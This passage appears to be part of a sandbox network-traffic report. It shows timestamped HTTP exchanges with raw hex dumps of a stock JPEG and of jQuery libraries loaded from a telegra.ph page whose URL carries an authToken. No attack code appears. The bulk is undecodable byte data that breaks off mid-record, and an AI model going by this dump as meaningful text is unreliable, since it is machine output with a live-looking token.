<xmp:CreateDate>2016-08-15T10:38:12+01:00</xmp:CreateDate> <xmp:ModifyDate>2016-08-15T10:49:51+01:00</xmp:ModifyDate> <xmp:MetadataDate>2016-08-15T10:
2025-03-13 14:45:43 UTC	13541	IN	Data Raw: dc dc 5c 64 66 a4 e3 e0 c1 fd 48 4d 4f 47 71 d1 10 54 54 56 a2 b1 ae 1e 00 b2 04 59 9a 7b e0 c0 7e ac 5b f7 2e 34 4d 7d 30 2d 2d ad c9 62 91 ff 96 92 92 fc 56 46 46 7a 63 63 23 ae d8 0c 85 e9 36 5e 1e 6b b0 ea 0a 41 d5 d4 a7 21 f6 23 8a 22 80 d1 2f 97 af bc eb 54 5d fd fd e9 69 e9 23 04 42 04 4f 7a 1a be fc e0 97 f1 ec 33 cf 20 39 25 05 76 9b 1d af bc f2 0a 0a 0a 0a 20 cb 32 22 91 28 24 51 42 72 b2 07 7e 7f 00 c1 50 04 fe 8e 20 82 c1 00 72 b2 b3 91 92 96 8a da ba 3a dc 74 d3 54 34 d4 d7 23 27 27 77 52 6d 6d 2d d6 af df 30 43 10 84 c3 05 05 b9 cb 26 4c 98 f4 8e 20 08 07 4c 78 99 32 65 2a 21 11 42 40 29 85 28 88 c3 56 ff 63 d5 dd 4d 8d cd 8f 16 15 0d ca bd 61 f2 14 49 10 04 dc 79 e7 ed 78 fd f5 d7 e1 74 58 51 50 58 80 ba fa 06 88 92 00 42 09 9c 4e 27 c2 a1 Data Ascii: \dfHMOGqTTVY{~[.4M}0--bVFFzcc#6^kA!#"/T]i#BOz3 9%v 2"($QBr~P r:tT4#''wRmm-0C&L Lx2e*!B@)(VcMaIyxtXQPXBN'

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:44 UTC	444	OUT	GET /jpg/04/65/41/29/360_F_465412924_Ir2XnMp0TYJYtpl1IdNSPYt0UNDVMJv3.jpg HTTP/1.1 Host: t4.ftcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:44 UTC	472	IN	HTTP/1.1 200 OK Connection: close Content-Length: 14700 Last-Modified: Tue, 26 Oct 2021 21:12:53 GMT ETag: "9e061b4e50b6424846566c9834385cc2" Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Content-Type: image/jpeg Accept-Ranges: bytes Date: Thu, 13 Mar 2025 14:45:44 GMT Age: 247328 X-Served-By: cache-iad-kiad7000091-IAD, cache-mia-kmia1760101-MIA X-Cache: HIT, HIT X-Cache-Hits: 58, 1 Strict-Transport-Security: max-age=31536000
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 00 56 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 02 13 00 03 00 00 00 01 00 01 00 00 00 00 00 00 00 00 01 2c 00 00 00 01 00 00 01 2c 00 00 00 01 ff ed 00 2c 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 0f 1c 01 5a 00 03 1b 25 47 1c 01 00 00 02 00 04 00 ff e1 0c 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c Data Ascii: JFIF,,VExifMM*>F(,,,Photoshop 3.08BIMZ%Ghttp://ns.adobe.com/xap/1.0/<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xml
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: b4 77 45 9f 56 ee 94 1b 26 d1 dd 16 7d 5b ba 50 6c 9b 47 74 59 f5 6e e9 41 b2 6d 1d d1 67 d5 bb a5 06 c9 b4 77 45 9f 56 ee 94 1b 26 d3 d6 8a b2 1a ad 74 8d 72 73 17 27 35 77 a0 9a 66 15 8a a2 59 05 aa 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 b8 71 47 f3 75 95 85 27 82 24 b9 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 8a 59 e5 a6 b8 3e 68 5d aa e6 bd 7d 0b e6 53 62 22 26 9d 25 8f 5d 25 b4 5a eb e2 ae 83 59 bd eb db f3 d9 c9 ff 00 06 b5 54 cd 32 cf 4d 5b 50 cb 2d 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 8f 70 e2 8f e6 eb 2b 0a 4f 04 49 73 18 00 00 00 00 00 00 00 00 00 00 00 00 01 0b 57 c6 a5 fb 4a 6c d3 c2 18 a7 89 4b 3c b4 d3 36 68 5d aa e4 fb fc ca 26 22 63 49 22 74 6d b6 ba f8 ab 60 d6 6f 7a f6 fc Data Ascii: wEV&}[PlGtYnAmgwEV&trs'5wfYqGu'$Y>h]}Sb"&%]%ZYT2M[P-\p+OIsWJlK<6h]&"cI"tm`oz
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: fa 75 10 ee 58 a7 66 d5 31 d9 0f 17 ce af 78 6c c7 11 73 ae ba bf 19 4b 99 5c c0 00 00 00 00 00 00 07 bd bf 8d b3 9f a8 74 2b 4f 14 b9 63 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 63 dc 38 a3 f9 ba ca c2 93 c1 12 5c c6 00 00 00 00 00 00 13 34 5c d3 7a 01 55 74 99 6f 9f 0a e9 36 b9 69 53 b5 ea 54 b6 ba 91 77 6c 72 eb b7 a1 d9 a7 31 1a c5 51 36 6f ce 9d 7a c3 e8 be 4d 62 e8 cd f2 4b 7e 13 7e b4 cd 15 7a 3e 0c fa e3 49 61 62 fb 8a 62 dd 20 55 56 d3 b5 c8 db 8d 54 6c 89 ab bd 11 51 ac 44 2c bd 5f 87 bd 33 1d 32 da ca 30 9c cd 94 d1 6a be 36 e9 99 9f 46 b2 b6 b1 c6 d8 98 d8 99 f3 58 88 c4 f4 26 cf e4 4a 34 d3 73 e6 ba aa 9a e6 6a 9e 9d fe b7 e8 28 00 00 00 00 00 00 00 f7 b7 f1 b6 73 f5 0e 85 69 e2 97 2c 64 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: uXf1xlsK\t+Oc c8\4\zUto6iSTwlr1Q6ozMbK~~z>Iabb UVTlQD,_320j6FX&J4sj(si,d
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: 8c 00 00 00 00 00 00 e1 dd 92 98 99 1f 2d 2e 14 a5 93 64 79 54 d6 64 bf 95 b7 b5 b1 79 b3 77 3b 4e 36 69 7f 85 a8 ef 9f d1 eb 9e e6 d9 36 cd 35 e6 37 23 8f c1 a7 ff 00 b4 fe 9e b6 06 88 31 36 12 c1 38 72 a6 e1 72 ac 74 f7 6a f7 f1 6a 68 95 ef 8e 26 e7 aa d5 5d 8d 6a aa e6 ed ab c8 59 82 bf 67 0f 44 d5 54 ef 96 e7 2b b2 6c d7 3e c6 51 63 0f 46 96 ad c7 c6 aa 74 89 aa 78 cc 71 99 d2 34 8e 1d 6c 9b f6 9d ae 12 eb 47 62 b2 c1 4c df 14 b5 6f 59 1d fb ad c9 13 a5 4b ae 66 b5 4f c4 a7 d6 c1 80 f7 32 b1 46 fc 65 e9 ab b2 98 d2 3d 73 ac fb 21 a0 de f1 2e 2e c6 92 32 9a b2 a6 aa e6 8d 7e b4 74 f4 f0 22 b5 ae da 99 a3 58 9e 73 46 bb f7 b1 1b a6 75 4c f0 59 3e 53 91 53 37 2d 53 16 f5 8d 26 a9 9d f3 1d f5 4a 1a f1 68 b9 5a 2a 9b 4d 76 b7 d4 51 4e e6 24 8d 64 f1 ab 5c Data Ascii: -.dyTdyw;N6i657#168rrtjjh&]jYgDT+l>QcFtxq4lGbLoYKfO2Fe=s!..2~t"XsFuLY>SS7-S&JhZ*MvQN$d\
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: f5 ae 4e fb 9e 51 4c 45 fc cf 7c fc c8 e1 1f 5a 63 8f 74 6e eb 99 69 58 4b 02 62 bc 6d 52 eb 83 5b 23 69 e5 76 72 5c 2b 5c ec 9e be 6c fb e7 af a3 67 9d 0d 3b 38 4b d8 89 da f6 cf fd bd 2b cd b9 4d 95 e4 54 78 19 98 da 8e 14 53 a6 ee fe 8a 7d 3b fb 11 98 ee d7 69 b1 df 1f 67 b6 56 cb 5c ea 44 d4 ab aa 7e 48 d7 cb f9 48 c6 a6 e6 b7 76 f5 cd 73 e4 31 e2 2d d1 6e bd 8a 67 5d 38 cb a1 91 63 71 58 fc 2c 62 b1 14 45 1b 7b e9 a7 a6 29 e8 99 9e 99 9e 3c 23 48 d1 de 74 17 84 57 0e 61 6f 97 56 45 ab 72 b9 23 65 95 1c 9b 63 8b 7b 19 f7 eb 2f 9d 7c c7 6f 2f c3 f8 2b 7b 53 c6 5e 39 cb 8c fb 9c f1 de 06 d4 ff 00 4e d6 b1 1d b5 7f 74 fe 91 d9 1d ae 84 6f 21 20 00 00 7c 73 5a e6 b9 8e 6a 39 ae 4c 9c 8a 99 a2 a7 22 a0 56 26 62 75 86 89 89 74 4d 83 ef 2f 7c d1 d1 c9 6b a8 Data Ascii: NQLE\|ZctniXKbmR[#ivr\+\lg;8K+MTxS};igV\D~HHvs1-ng]8cqX,bE{)<#HtWaoVEr#ec{/\|o/+{S^9Nto! \|sZj9L"V&butM/\|k
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: 69 fd 67 ae 67 d9 c2 3b 76 e3 69 19 00 00 00 00 00 00 00 00 00 00 00 0f 7b 7f 1b 67 3f 50 e8 56 9e 29 72 c6 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 b8 71 47 f3 75 95 85 27 82 24 b9 8c 00 00 02 6c 5c d3 60 05 db bd 73 f4 83 80 00 00 00 00 00 00 00 00 00 00 00 00 01 ef 6f e3 6c e7 ea 1d 0a d3 c5 2e 58 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 f7 0e 28 fe 6e b2 b0 a4 f0 44 97 31 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 de df c6 d9 cf d4 3a 15 a7 8a 5c b1 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 cd 24 e2 04 c2 f8 32 ba f8 b4 9f 2c 4a 6e d7 fd 8f 6c d4 d6 d6 7a 37 7e 4b 96 fc f7 18 af de f0 34 4d 7a 6b a3 ad 91 e5 7c eb 8e a3 09 b5 b3 b5 ae fd 35 e1 13 3c 37 75 38 d7 0f 91 79 26 ef 68 7c 07 Data Ascii: igg;vi{g?PV)r@qGu'$l\`sol.X(nD1:\5$2,Jnlz7~K4Mzk\|5<7u8y&h\|
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: 74 f0 d4 42 ea 69 d5 63 95 88 f6 aa a3 36 6c 5d 86 7c 05 31 55 e8 89 71 39 71 7a e5 9c 9e ba ed d5 31 3a d3 be 27 4e 95 a0 93 0f e1 b8 a3 59 24 b2 da 58 c6 ef 73 a9 63 44 4f b8 ee f8 2b 71 d1 0f 10 a7 32 c7 55 3a 45 da e6 7e b4 ff 00 b7 87 73 30 7f fd ba c5 fe 8c 3f d0 b7 62 d7 54 7b 19 7d f7 99 fc fa fd 75 1d cb c1 ff 00 f6 eb 17 fa 30 ff 00 41 b1 6b aa 3d 87 be f3 3f 9f 5f ae a5 3e c7 4d 85 98 de fa ca 76 b1 b0 b6 e3 3a 46 8c 44 46 a3 7b 63 b2 cb 2d 99 11 db da 78 4a b4 eb 97 d0 d9 34 d5 39 7d 89 af 8e c5 3a eb c7 84 21 8c 4e 90 00 0d e7 40 7e 16 ec 5f a4 97 f0 5e 6d 60 7c bd 28 bf 2c fe 44 bf dd 1f 9a 16 fd 37 12 37 cf 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 a0 76 43 78 22 bd 7e c3 f1 98 69 e3 fc 85 49 67 21 fe 5c b3 fe 5f 96 55 18 8f Data Ascii: tBic6l]\|1Uq9qz1:'NY$XscDO+q2U:E~s0?bT{}u0Ak=?_>Mv:FDF{c-xJ49}:!N@~_^m`\|(,D77@vCx"~iIg!\_U
2025-03-13 14:45:44 UTC	1378	IN	Data Raw: 6f 40 2e 3e 85 bc 15 61 df d4 59 fc c9 26 0f c8 53 dc f9 cf 95 7f 2c e2 7e b4 b4 ed 24 69 9e a3 09 63 1a db 04 78 7e 2a b6 d3 36 35 49 9d 56 ac 57 6b 31 1d bb 55 72 df ca 6b 62 31 f3 6a e4 d1 b3 aa 45 90 72 1a 8c d7 01 46 2e 6f 4d 3b 5a ee d9 d7 84 cc 71 d6 1a b5 5f 64 45 d9 d1 aa 52 61 aa 18 9f e2 74 b5 4f 7a 74 22 27 59 82 73 4a ba 29 77 6d 7b 99 e1 a2 7f a9 88 aa 63 b2 98 8f d6 5c df 1b e3 ac 4b 8c 25 6a de ab f5 a0 63 b5 a3 a6 85 ba 90 b1 79 75 7c 6b e7 55 55 34 af 62 2e 5e f8 d2 99 e5 1c 9e c0 65 14 cf bd a8 f8 53 c6 a9 df 33 e9 e8 8e c8 d1 15 85 ff 00 c4 d6 af d7 a0 fc 56 98 ed fc 78 ef 86 f6 61 ff 00 89 77 ea d5 f8 4a f3 2f cd 52 54 f9 7d 43 2a 38 c4 bf 6d dd 6a 44 df 55 51 f1 63 ba 1b f7 63 d5 96 6b b6 93 ed f3 b5 8a b0 5b 91 d5 53 3b 2d 8d c9 15 Data Ascii: o@.>aY&S,~$icx~65IVWk1Urkb1jErF.oM;Zq_dERatOzt"'YsJ)wm{c\K%jcyu\|kUU4b.^eS3VxawJ/RT}C8mjDUQcck[S;-

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:44 UTC	597	OUT	GET /js/jquery.min.js HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:45 UTC	323	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:44 GMT Content-Type: application/javascript Content-Length: 95786 Last-Modified: Wed, 09 Nov 2016 17:39:54 GMT Connection: close ETag: "58235f6a-1762a" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:45 UTC	16061	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 31 31 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 34 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e Data Ascii: /! jQuery v1.11.1 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a win
2025-03-13 14:45:45 UTC	16384	IN	Data Raw: 2c 65 29 7b 76 61 72 20 66 2c 67 3d 64 28 61 2c 6e 75 6c 6c 2c 65 2c 5b 5d 29 2c 68 3d 61 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 68 2d 2d 29 28 66 3d 67 5b 68 5d 29 26 26 28 61 5b 68 5d 3d 21 28 62 5b 68 5d 3d 66 29 29 7d 29 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 62 5b 30 5d 3d 61 2c 64 28 62 2c 6e 75 6c 6c 2c 66 2c 63 29 2c 21 63 2e 70 6f 70 28 29 7d 7d 29 2c 68 61 73 3a 68 62 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 66 62 28 61 2c 62 29 2e 6c 65 6e 67 74 68 3e 30 7d 7d 29 2c 63 6f 6e 74 61 69 6e 73 3a 68 62 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 28 62 2e 74 65 78 74 43 Data Ascii: ,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:hb(function(a){return function(b){return fb(a,b).length>0}}),contains:hb(function(a){return function(b){return(b.textC
2025-03-13 14:45:45 UTC	16384	IN	Data Raw: 61 29 2c 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 67 5b 6d 2e 63 61 6d 65 6c 43 61 73 65 28 62 29 5d 3d 64 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 3f 28 66 3d 67 5b 62 5d 2c 6e 75 6c 6c 3d 3d 66 26 26 28 66 3d 67 5b 6d 2e 63 61 6d 65 6c 43 61 73 65 28 62 29 5d 29 29 3a 66 3d 67 2c 66 7d 7d 66 75 6e 63 74 69 6f 6e 20 52 28 61 2c 62 2c 63 29 7b 69 66 28 6d 2e 61 63 63 65 70 74 44 61 74 61 28 61 29 29 7b 76 61 72 20 64 2c 65 2c 66 3d 61 2e 6e 6f 64 65 54 79 70 65 2c 67 3d 66 3f 6d 2e 63 61 63 68 65 3a 61 2c 68 3d 66 3f 61 5b 6d 2e 65 78 70 61 6e 64 6f 5d 3a 6d 2e 65 78 70 61 6e 64 6f 3b 69 66 28 67 5b 68 5d 29 7b 69 66 28 62 26 26 28 64 3d 63 3f 67 5b 68 5d 3a 67 5b 68 5d 2e 64 61 74 61 29 29 7b 6d 2e 69 73 41 72 72 61 79 28 62 29 3f 62 3d Data Ascii: a),void 0!==d&&(g[m.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[m.camelCase(b)])):f=g,f}}function R(a,b,c){if(m.acceptData(a)){var d,e,f=a.nodeType,g=f?m.cache:a,h=f?a[m.expando]:m.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){m.isArray(b)?b=
2025-03-13 14:45:45 UTC	16384	IN	Data Raw: 72 62 2e 74 66 6f 6f 74 3d 72 62 2e 63 6f 6c 67 72 6f 75 70 3d 72 62 2e 63 61 70 74 69 6f 6e 3d 72 62 2e 74 68 65 61 64 2c 72 62 2e 74 68 3d 72 62 2e 74 64 3b 66 75 6e 63 74 69 6f 6e 20 75 62 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 2c 65 3d 30 2c 66 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 3d 4b 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 62 7c 7c 22 2a 22 29 3a 74 79 70 65 6f 66 20 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 21 3d 3d 4b 3f 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 62 7c 7c 22 2a 22 29 3a 76 6f 69 64 20 30 3b 69 66 28 21 66 29 66 6f 72 28 66 3d 5b 5d 2c 63 3d 61 2e 63 68 69 6c 64 4e 6f 64 65 73 7c 7c 61 3b 6e 75 6c 6c 21 3d 28 64 3d Data Ascii: rb.tfoot=rb.colgroup=rb.caption=rb.thead,rb.th=rb.td;function ub(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==K?a.getElementsByTagName(b\|\|""):typeof a.querySelectorAll!==K?a.querySelectorAll(b\|\|""):void 0;if(!f)for(f=[],c=a.childNodes\|\|a;null!=(d=
2025-03-13 14:45:45 UTC	16384	IN	Data Raw: 2c 6d 2e 65 61 73 69 6e 67 3d 7b 6c 69 6e 65 61 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 2c 73 77 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 2e 35 2d 4d 61 74 68 2e 63 6f 73 28 61 2a 4d 61 74 68 2e 50 49 29 2f 32 7d 7d 2c 6d 2e 66 78 3d 5a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 2c 6d 2e 66 78 2e 73 74 65 70 3d 7b 7d 3b 76 61 72 20 24 62 2c 5f 62 2c 61 63 3d 2f 5e 28 3f 3a 74 6f 67 67 6c 65 7c 73 68 6f 77 7c 68 69 64 65 29 24 2f 2c 62 63 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5b 2b 2d 5d 29 3d 7c 29 28 22 2b 53 2b 22 29 28 5b 61 2d 7a 25 5d 2a 29 24 22 2c 22 69 22 29 2c 63 63 3d 2f 71 75 65 75 65 48 6f 6f 6b 73 24 2f 2c 64 63 3d 5b 69 63 5d 2c 65 63 3d 7b 22 2a 22 3a 5b 66 75 6e 63 Data Ascii: ,m.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(aMath.PI)/2}},m.fx=Zb.prototype.init,m.fx.step={};var $b,_b,ac=/^(?:toggle\|show\|hide)$/,bc=new RegExp("^(?:([+-])=\|)("+S+")([a-z%])$","i"),cc=/queueHooks$/,dc=[ic],ec={"*":[func
2025-03-13 14:45:45 UTC	14189	IN	Data Raw: 6d 69 6d 65 54 79 70 65 7c 7c 62 2e 67 65 74 52 65 73 70 6f 6e 73 65 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 29 29 3b 69 66 28 65 29 66 6f 72 28 67 20 69 6e 20 68 29 69 66 28 68 5b 67 5d 26 26 68 5b 67 5d 2e 74 65 73 74 28 65 29 29 7b 69 2e 75 6e 73 68 69 66 74 28 67 29 3b 62 72 65 61 6b 7d 69 66 28 69 5b 30 5d 69 6e 20 63 29 66 3d 69 5b 30 5d 3b 65 6c 73 65 7b 66 6f 72 28 67 20 69 6e 20 63 29 7b 69 66 28 21 69 5b 30 5d 7c 7c 61 2e 63 6f 6e 76 65 72 74 65 72 73 5b 67 2b 22 20 22 2b 69 5b 30 5d 5d 29 7b 66 3d 67 3b 62 72 65 61 6b 7d 64 7c 7c 28 64 3d 67 29 7d 66 3d 66 7c 7c 64 7d 72 65 74 75 72 6e 20 66 3f 28 66 21 3d 3d 69 5b 30 5d 26 26 69 2e 75 6e 73 68 69 66 74 28 66 29 2c 63 5b 66 5d 29 3a 76 6f 69 64 20 30 7d 66 75 6e 63 74 69 Data Ascii: mimeType\|\|b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]\|\|a.converters[g+" "+i[0]]){f=g;break}d\|\|(d=g)}f=f\|\|d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}functi

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:44 UTC	607	OUT	GET /js/jquery.selection.min.js HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:45 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:44 GMT Content-Type: application/javascript Content-Length: 2710 Last-Modified: Fri, 18 Nov 2016 17:42:12 GMT Connection: close ETag: "582f3d74-a96" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:45 UTC	2710	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 7b 74 65 78 74 3a 22 22 2c 73 74 61 72 74 3a 30 2c 65 6e 64 3a 30 7d 3b 69 66 28 21 74 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 6e 3b 74 72 79 7b 69 66 28 65 2e 67 65 74 53 65 6c 65 63 74 69 6f 6e 29 6e 2e 73 74 61 72 74 3d 74 2e 73 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 2c 6e 2e 65 6e 64 3d 74 2e 73 65 6c 65 63 74 69 6f 6e 45 6e 64 2c 6e 2e 74 65 78 74 3d 74 2e 76 61 6c 75 65 2e 73 6c 69 63 65 28 6e 2e 73 74 61 72 74 2c 6e 2e 65 6e 64 29 3b 65 6c 73 65 20 69 66 28 72 2e 73 65 6c 65 63 74 69 6f 6e 29 7b 74 2e 66 6f 63 75 73 28 29 3b 76 61 72 20 73 3d 72 2e 73 65 6c 65 63 74 69 6f 6e 2e 63 72 65 61 74 65 52 61 6e 67 65 28 29 2c 61 3d Data Ascii: !function(t,e,r){var n=function(t){var n={text:"",start:0,end:0};if(!t.value)return 